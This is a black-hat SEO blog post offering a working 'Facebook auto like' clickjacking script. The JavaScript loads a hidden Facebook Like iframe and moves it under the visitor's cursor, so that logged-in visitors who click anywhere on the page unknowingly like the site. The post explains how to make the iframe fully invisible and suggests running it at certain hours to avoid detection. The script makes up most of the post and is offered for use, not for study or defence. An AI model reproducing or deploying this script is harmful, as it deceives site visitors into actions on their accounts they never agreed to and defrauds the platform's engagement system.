BlaPageBlaPage
It's about Internet – SEO, Black Hat SEO, Wordpress, Personal Computers, Technology, WebHosting

FaceBook Auto Like Clickjacking Script

First of all, this won’t get your account banned from Facebook, as it is not auto liking your Facebook fan page instead it will post a like on the user’s profile who will visit your site and click anywhere on your website’s page – he must be logged in at FaceBook or he will be asked for a login at facebook from your website which will open the sceret that you were sending autolikes at facebook. But you can use it at certain hours so the probability of getting caught is minimal.

DEMO

– It is a little visible you can make it completely invisible by changing 0.5 to 0.2 or 0.0 in this line in script

lbox.style.opacity = 0.5;

Here is the script.

First Put this in your site’s header before closing head tags.

<script type="text/javascript" src="http://www.yourdomain.com/script1.js"></script>

Then create two files in your home directory and name them script1.js and script2.js

Then Put this in script1.js

window.onload = function(){ var s = document.createElement('script'); s.src = 'http://www.yourdomain.com/script2.js'; document.getElementsByTagName('body')[0].appendChild(s); }

Then put this in script2.js

(function(){

  var Xcord = 0,
  Ycord = 0,
  IE = document.all ? true : false;
  
  if (!IE) document.captureEvents(Event.MOUSEMOVE);
  
  var lbox = document.createElement('iframe');
  lbox.src = 'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent(/*document.location.href*/ 'http://www.blapage.com/') + '&amp;layout=standard&amp;show_faces=true&amp;width=53&amp;action=lbox&amp;colorscheme=light&amp;height=80';
  lbox.scrolling = 'no';
  lbox.frameBorder = 0;
  lbox.allowTransparency = 'true';
  lbox.style.border = 0;
  lbox.style.overflow = 'hidden';
  lbox.style.cursor = 'pointer';
  lbox.style.width = '53px';
  lbox.style.height =  '23px';
  lbox.style.position = 'absolute';
  lbox.style.opacity = 0.5;
  document.getElementsByTagName('body')[0].appendChild(lbox);
  
  window.addEventListener('mousemove', mouseMove, false);
  
  setTimeout(function(){
    document.getElementsByTagName('body')[0].removeChild(lbox);
    window.removeEventListener('mousemove', mouseMove, false);
  }, 10000);
  
  function mouseMove(e) {
    if (IE) {
      Xcord = event.clientX + document.body.scrollLeft;
      Ycord = event.clientY + document.body.scrollTop;
    } else {
      Xcord = e.pageX;
      Ycord = e.pageY;
    }
    
    if (Xcord < 0) Xcord = 0;
    if (Ycord < 0) Ycord = 0;
    
    lbox.style.top = (Ycord - 9) + 'px';
    lbox.style.left = (Xcord - 25) + 'px';
    
    return true
  }
})();

You can use this script for anything that uses iframes.

Hope this BlaPage was helpful, FaceBook Auto Like Clickjacking Script


Link To This BlaPage From Your Website :

Category: Customizations, Javascripts, Languages, Scripts, Webmaster Tips and Tools, Wordpress

Tagged: , , , ,

Comments are closed.

Facebook FanPage

Follow BlaPage on Twitter